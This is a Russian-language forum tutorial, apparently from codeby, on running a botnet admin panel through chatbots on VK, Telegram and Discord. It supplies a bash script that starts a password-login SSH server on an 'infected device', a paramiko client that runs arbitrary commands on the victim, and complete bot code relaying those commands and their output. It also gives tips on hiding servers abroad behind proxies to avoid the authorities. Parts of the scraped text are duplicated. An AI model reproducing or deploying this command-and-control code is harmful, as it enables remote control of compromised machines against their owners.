Привет codeby, представим вот такую ситуацию : у вас есть собственный сервер, к которому постоянно подключаться различные взломанные устройства, а физический доступ к серверу отсутствует, разумеется в таком случае просто необходима админ панель или хотя-бы доступ по ssh.
Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)
Однако это не лучший вариант и у меня есть аргументы :
1. Уязвимость перед exploit'ами
(вы только взгляните на
2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами
Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.
Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже
Однако есть свои минусы :
1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.
2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0
3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.
И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку
Архитектура ботнета будет иметь следующий вид:
victim = server
attacker = client
attacker => victim
Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.
Пишем сервер :
В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения
Клиент :
Устанавливаем python3
Устанавливаем paramiko
Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код
Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko:
4. Текущий функционал - проверка онлайна и отправка комманд по ssh
данный код именуем client.py и размещаем в одну папку с вашим будующим ботом
Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord
Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить
И так начнём с вк
Установим либу
В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :
1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем
Кодим бота:
(документация vk_api)
тесты этого бота на видео:
Как по мне в вк это сделать проще но при этом опаснее (в плане приватности)
Следующий на очереди - telegram
В самом телеграмме находим этого бота: https://t.me/BotFather
И пишем ему следующие команды:
/start
/newbot
Далее, у вас потребуют ввести имя и логин этого бота
После этого, вам выдадут адрес этого бота и api токен, для взаимодействия с ним.
Токен сохраняем
Если хотим более тонко настроить бота - пишем боту /help
Для управления ботом надо скачать либу
Кодим:
Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы
И последним на очереди у нас discord
Важно:
(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)
Лично я решил выбрал python3.5
Установим discord_api и paramiko для этой версии пайтона
Также discord требует asyncio
В дискорде чтобы зарегестрировать бота необходимо
Сама регистрация бота здесь сложнее чем в вк и телеграмме
Теперь приступаем к написанию бота :
На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание
Разумеется, открыть ещё один порт и поставить туда веб админ панель дело 5 минут (особенно учитывая что во многих скриптах модули для этого уже написаны)
Однако это не лучший вариант и у меня есть аргументы :
1. Уязвимость перед exploit'ами
(вы только взгляните на
Ссылка скрыта от гостей
и на
Ссылка скрыта от гостей
)2. Уязвимость перед (d)dos атаками
3. Индексация многими сканерами
Поэтому я предлагаю альтернативу - использовать в качестве админ панели бота в соц сетях или мессенджерах.
Это очень хорошо защищает от ddos атак, даже получше cloudfare. Ведь у какого нибудь vk, серверов натыкано по всему миру, и все они расчитаны на большое количество клиентов, а также неплохо защищены от ddos'а (наверное). Даже если какой-то из серверов сломают, ваш бот все равно будет спокойно функционировать.
Ко всему тому такой бот найти будет посложнее чем веб админ панели
Есть даже
Ссылка скрыта от гостей
где их сливают =0Однако есть свои минусы :
1. Блокировки
Любую(почти) соц сеть в РФ, СНГ могут заблокировать даже без предупреждения.
Разумеется серваки надо регать за границей и не забывать про прокси , однако будет очень глупо потерять доступ к ботсети из-за блокировки соц сети.
2. Приватность
Нельзя точно сказать мониторят ли ваш чат разработчики используемого вами мессенджера. Допустим :
Вы запускаете сервер и делаете админ панель через бота в telegram.
А на следующий день к вам приходят ФСБ с вашей историей переписок =0
3. Защита от спама
Многие мессенджеры ограничивают количество отправляемых сообщений. Это не позволит нашему боту отправлять много сообщений за небольшой промежуток времени, а это может помешать когда вам необходимо получить/отправить большое количество данных.
И так, приступим к делу (^°^)
Всё тесты я буду проводить на Linux(debian) системе, для управления ботнета использовать python3 и библиотеку
Ссылка скрыта от гостей
(либа для работы с ssh). Архитектура ботнета будет иметь следующий вид:
victim = server
attacker = client
attacker => victim
Да, в полевых условиях лучше сделать все наоборот, но в рамках статьи это прекрасно подходит.
Пишем сервер :
В качестве сервера буду использовать sh скрипт т.к. ориентировка на Linux систему
Скрипт будет запускать openssh сервер на зараженном устройстве и ждать комманд, опять же такая конструкция хороша только в учебных целях, на практике ГОРАЗДО лучше использовать reverse подключения
Bash:
#!/bin/bash
apt install openssh -y
systemctl start ssh #это запустит ssh сервер на 22 порту(по умолчанию) , к которому наш взломщик (клиент) будет подключаться и отправлять команды
##и да в конфиге(~/.ssh/config, /etc/ssh/sshd_config) необходимо расскоментировать эту строку: PasswordAuthentication yes
##это если на сервере стоит openssh
##также можно заранее создать конфиг и копировать в выше указанные файлы
Клиент :
Устанавливаем python3
apt install python3
Устанавливаем paramiko
pip3 install paramiko
Клиент будет лишь набором функции которые будут исполняться уже из бота.
Мы будем вызывать эти функции каждый раз когда пользователь бота захочет взаимодействовать с ботнетом
Проще говоря пишем как библиотеку а не как самостоятельный код
Немного ремарок:
1.Данный клиент подключаеться к localhost(на чистоту эксперимента это не влияет)
2.Он предусмотрен только на 1 подключение, но по желанию вы можете доработать код и добавить файл с логинами, айпи, портами для подключения к большему кол-ву устройств
3. Скачать python3 и либу paramiko:
apt install python3 && pip3 install paramiko
4. Текущий функционал - проверка онлайна и отправка комманд по ssh
Python:
import paramiko #импорт paramiko для ssh
host = "localhost" #обозначение переменных для аутентификации
user = "user" #вы можете создать нового юзера прямо в шелл скрипте описанном выше
mypass = "toor" #но я решил не заморачиваться и взять логины которые уже были в системе
port = 22 #данный порт дефолтный практически для всех ssh приложений
def interact(comandd): #функция для отправки сообщений
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #добавляем localhost в список известных хостов
client.connect(hostname=host, username=user, password=mypass, port=port) #подключаемся :)
stdin,stdout,stderr = client.exec_command(comandd) #это наша команда
outputt = stdout.read() + stderr.read() ##смотрим что нам отвечает хост и помечаем это как outputt
f = open("output.txt", "w") ##открываем файл для записи в него нашего outputt
f.write(outputt.decode("utf-8")) ##заносим outputt в txt файл, который будем считывать в боте попутно декодируя текст из байт в привычный utf-8
f.close()
client.close()
def checkconnection(): #функция для проверки подключения
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #добавляем localhost в список известных хостов
client.connect(hostname=host, username=user, password=mypass, port=port) #подключаемся :)
client.close() #и отключаемся :)
данный код именуем client.py и размещаем в одну папку с вашим будующим ботом
Реализация самого чат-бота будет в следующих соц сетях и мессенджерах :
Vk
Telegram
Discord
Для ботов настроены следующие условия:
1.Доступ к админ панели по паролю
2. Проверка хоста на онлайн
3. Отправка комманд от юзера на хост и отправка сообщений от хоста юзеру
Перечень возможностей скудный, но вам ничего не мешает его расширить
И так начнём с вк
Установим либу
Ссылка скрыта от гостей
pip3 install vk_api
В вк нельзя настроить именно бота, но можно авторизоваться как сообщество или юзер и уже от этого имени обмениваться сообщениями. Лично я буду логиниться от имени группы (сообщества)
Для этого проделываем следующее :
1. Создаём сообщество (название, тематика и тд не важны)
2. На странице настроек сообщества выбираем пункт "работа с API"
3. Создаём longpool API ключ с необходимыми вам привелегиями
(для этого у вас потребуют подтверждение, либо по номеру телефона, либо по привязанному к аккаунту устройству)
4. Ключ сохраняем
Кодим бота:
(документация vk_api)
Python:
#coding: utf8
import client #импорт клиента для бот сети
import random
import vk_api #импортируем библиотеки для вк
from vk_api.longpoll import VkLongPoll, VkEventType
def write_msg(user_id, message): #функция которая будет вызываться при отправке сообщений
randomid = random.randint(10,99999) ##вк для отправки требует рандомное число, каждый раз, неясно зачем
vk.method('messages.send', {'user_id': user_id, 'message': message, 'random_id': randomid})
token="ТУТ-ВАШ-ТОКЕН" #немного действий для верификации
vk = vk_api.VkApi(token=token)
longpoll = VkLongPoll(vk)
print("bot is work!")
def main():
for event in longpoll.listen(): #ждем новых сообщений
if event.type == VkEventType.MESSAGE_NEW and event.to_me: #если они появляються начинаем действовать
write_msg(event.user_id, "please, enter password!") #просим pass
for event in longpoll.listen():
if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text == ("IMAROOT"): #проверям pass
write_msg(event.user_id, "welcome to botnet admin panel")
try: #проверяем подключение с хостом
client.checkconnection()
write_msg(event.user_id, "1 host is online, start interacting with him?(Yes/No)")
for event in longpoll.listen(): #спрашиваем хочет ли юзер взаимодействовать с ним
if event.type == VkEventType.MESSAGE_NEW and event.to_me:
if event.text == ("Yes"):
write_msg(event.user_id, "start interacting with host1...")
write_msg(event.user_id, "print => (exit) =< to stop interact")
write_msg(event.user_id, "enter something to host!")
startinteract() ##запуск функции через которую и будет происходить обмен коммандами
else:
write_msg(event.user_id, "exit from admin panel...")
except client.paramiko.ssh_exception.NoValidConnectionsError: #предупреждаем если хосты оффлайн
write_msg(event.user_id, "all hosts is offline")
elif event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text != ("IMAROOT"): #если пароль неправильный, так и пишем
write_msg(event.user_id, "wrong password!")
def startinteract():
for event in longpoll.listen():
if event.type == VkEventType.MESSAGE_NEW and event.to_me: #проверям pass
if event.text == ("exit"):
write_msg(event.user_id, "stop interacting with host1...")
else:
commandd = event.text
client.interact(commandd) #передаем хосту месседж клиента
f = open("output.txt", "r") #смотрим output
output = f.read()
f.close()
write_msg(event.user_id, output) #отсылаем output юзеру
startinteract()
main()
тесты этого бота на видео:
Следующий на очереди - telegram
В самом телеграмме находим этого бота: https://t.me/BotFather
И пишем ему следующие команды:
/start
/newbot
Далее, у вас потребуют ввести имя и логин этого бота
После этого, вам выдадут адрес этого бота и api токен, для взаимодействия с ним.
Токен сохраняем
Если хотим более тонко настроить бота - пишем боту /help
Для управления ботом надо скачать либу
Ссылка скрыта от гостей
pip3 install pytelegrambotapi
Кодим:
Python:
import client ##импортируем клиента для бот-сети
import telebot ##импортируем тг бота
bot = telebot.TeleBot("ТУТ-ВАШ-ТОКЕН") #токен
@bot.message_handler(content_types=['text']) #декоратор для детекта типа данных
def checkpassword(message): #спрашиваем pass
bot.send_message(message.from_user.id, "enter password")
bot.register_next_step_handler(message, botnetpanel) #передаем сообщение и декоратор к дальнейшей функции
def botnetpanel(message): #админ панель
if message.text == ("IMAROOT"): #если пароль правильный, то пускаем к админ панели
bot.send_message(message.from_user.id, "welcome to botnet admin panel")
try: #проверяем хост на онлайн
client.checkconnection()
bot.send_message(message.from_user.id, "1 host is online, try interact with him?(Yes/No)")
bot.register_next_step_handler(message, checkanswer) #передаем сообщение и декоратор для другой функции
except client.paramiko.ssh_exception.NoValidConnectionsError:
bot.send_message(message.from_user.id, "all hosts is offline!")
else: #если пароль не правильный, то так и пишем
bot.send_message(message.from_user.id, "wrong password!")
def checkanswer(message): #проверяем хочет ли юзер взаимодействовать с хостом
if message.text == ("Yes"):
bot.send_message(message.from_user.id, "Start interact with host 1")
bot.send_message(message.from_user.id, "Print => (exit) <= to close connect with host 1")
bot.send_message(message.from_user.id, "enter something to host!")
bot.register_next_step_handler(message, hostinteract) #если согласен, то начинаем взаимодействие
elif message.text == ("No"):
bot.send_message(message.from_user.id, "okay")
bot.send_message(message.from_user.id, "exit from admin panel...")
def hostinteract(message): #функция для взаимодействия с хостом
if message.text == ("exit"): #если юзер хочет выйти, даем ему это сделать
bot.send_message(message.from_user.id, "stopping interact with host 1...")
else: #если нет, то:
commandd = message.text
client.interact(commandd) #передаем хосту месседж клиента
f = open("output.txt", "r") #открываем файл с outputt
output = f.read() #считываем outputt
f.close() #закрываем файл с outputt
bot.send_message(message.from_user.id, output) #отсылаем outputt юзеру
bot.register_next_step_handler(message, hostinteract) #снова запускаем эту функцию
bot.polling(none_stop=True, interval=0) ##постаянная проверка на наличие новых сообщений боту
Хоть теллеграмм и имеет статус "надежного" мессенджера, факт регистрации по номеру телефона не даёт покоя поэтому лучше поискать альтернативы
И последним на очереди у нас discord
Важно:
Ссылка скрыта от гостей
для python работает только на следующих версиях пайтона: 3.4.3-3.6.6(discord.py использует библиотеку asyncio, синтаксис которой был переписан в новых версиях пайтона, если у кого есть ссылка на rewrite версию discord api, прошу скинуть её в комментарии)
Лично я решил выбрал python3.5
apt install python3.5
Установим discord_api и paramiko для этой версии пайтона
python3.5 -m pip install discord.py paramiko
Также discord требует asyncio
python3.5 -m pip install asyncio
В дискорде чтобы зарегестрировать бота необходимо
Ссылка скрыта от гостей
, благо это делаеться за несколько секундСама регистрация бота здесь сложнее чем в вк и телеграмме
1. Переходим по следующей ссылке:
(если вы ещё не вошли в аккаунт у вас потребуют логин и пароль)
Нажимаем на кнопку New application
2.Вводим имя бота
3.Во вкладке Bot нажимаем "Add Bot"
В появившемся окне нажимаем "Click To Reveal Token", и копируем появивишийся текст, это наш токен
4. Переходим на вкладку OAuth2 и нажимаем Add redirect
Пролистываем чуть ниже и нажимаем галочки напротив bot и Administrator
переходим по появившейся ссылке и добавляем бота на любой ваш дискорд сервер, готово!
Ссылка скрыта от гостей
(если вы ещё не вошли в аккаунт у вас потребуют логин и пароль)
Нажимаем на кнопку New application
2.Вводим имя бота
3.Во вкладке Bot нажимаем "Add Bot"
В появившемся окне нажимаем "Click To Reveal Token", и копируем появивишийся текст, это наш токен
4. Переходим на вкладку OAuth2 и нажимаем Add redirect
Пролистываем чуть ниже и нажимаем галочки напротив bot и Administrator
переходим по появившейся ссылке и добавляем бота на любой ваш дискорд сервер, готово!
Теперь приступаем к написанию бота :
Python:
import discord #импортируем либы для дискорда
import asyncio #импорт либ для ассинхронных сообщений
import clienteres #импортируем клиент для ботнета, я его переименовал дабы избежать ошибок
TOKEN= ("ТУТ_ВАШ_ТОКЕН") #авторизуемся с токеном
client = discord.Client()
#help справка
helpbot = ("""
aviable next commands:
|---------------------------------------------------------|
|!help | get this help |
|!home | get info about botnet |
|!login | login to admin panel |
|!session | start interact with host |
|---------------------------------------------------------|
""")
f = open("check.txt", "w") #создаем файл для бд логинов
f.close()
@client.event
async def on_message(message): #ждем сообщений
if message.author != client.user: #проверяем что автор сообщения это не бот
if message.content == ("!help"): #выдаем справку (help)
await message.channel.send(helpbot)
if message.content == ("!home"): #функция для проверки онлайна
f = open("check.txt", "r") #открываем файл с логинами авторизованных юзеров
check = f.read()
f.close()
if str(message.author) in str(check): #если логин этого пользователя там есть, то разрешаем пользование
await message.channel.send("welcome to admin botnet panel!")
try:
clienteres.checkconnection() #предупреждаем если хосты онлайн
await message.channel.send(""" host is online!! to connect with him enter "!session" """)
except clienteres.paramiko.ssh_exception.NoValidConnectionsError: ##предупреждаем если все хосты офф
await message.channel.send("all hosts is offline!! please try later!")
else: #если юзер не залогинен, то просим залогиниться
await message.channel.send("Please login with command !login ")
if message.content == ("!login"): #функция для авторизации
await message.channel.send("Please enter password!")
if message.content == ("IMAROOT"): #если пароль правильный
f = open("check.txt", "w") #заносим никнейм пользователя в нашу мини бд
f.write(str(message.author))
f.close()
await message.channel.send("You succesfull login! Now you can use all options!")
if message.content == ("!session"): #функция для взаимодействия с хостом
f = open("check.txt", "r") #чекаем есть ли логин юзера в нашей мини бд
check = f.read()
f.close()
if str(message.author) not in check: #если нет просим залогиниться
await message.channel.send("Please login use !login")
else: #если логин есть, то пропускаем к сессии
try:
clienteres.checkconnection() #проверям коннект
await message.channel.send("Start interacting with host 1")
await message.channel.send(""" Enter "exit" to close session """)
@client.event
async def on_message(message): #функция отправки сообщений для хоста и отсылкой ответов
if message.author != client.user:
if message.content == ("exit"): #exit для выхода
await message.channel.send("You exit from admin panel...")
else:
comandd = message.content
clienteres.interact(comandd) #передаем команду хосту
f = open("output.txt", "r") #смотрим output
output = f.read()
f.close()
await message.channel.send(output) #отсылаем output
except clienteres.paramiko.ssh_exception.NoValidConnectionsError: #если коннекта нет , так и пишем
await message.channel.send("Host is offline! Please try later!")
commandss = ["!help", "!home", "!login", "!session", "IMAROOT"]
if message.content not in commandss:
await message.channel.send("Enter !help to more information")
client.run(TOKEN) #запускаем бота!
print("bot is work!")
На мой взгляд использовать бота для подобных целей, очень практично, разумееться если заранее найти подходящий месенджер.
Что-ж, на этом все, спасибо за внимание
Последнее редактирование: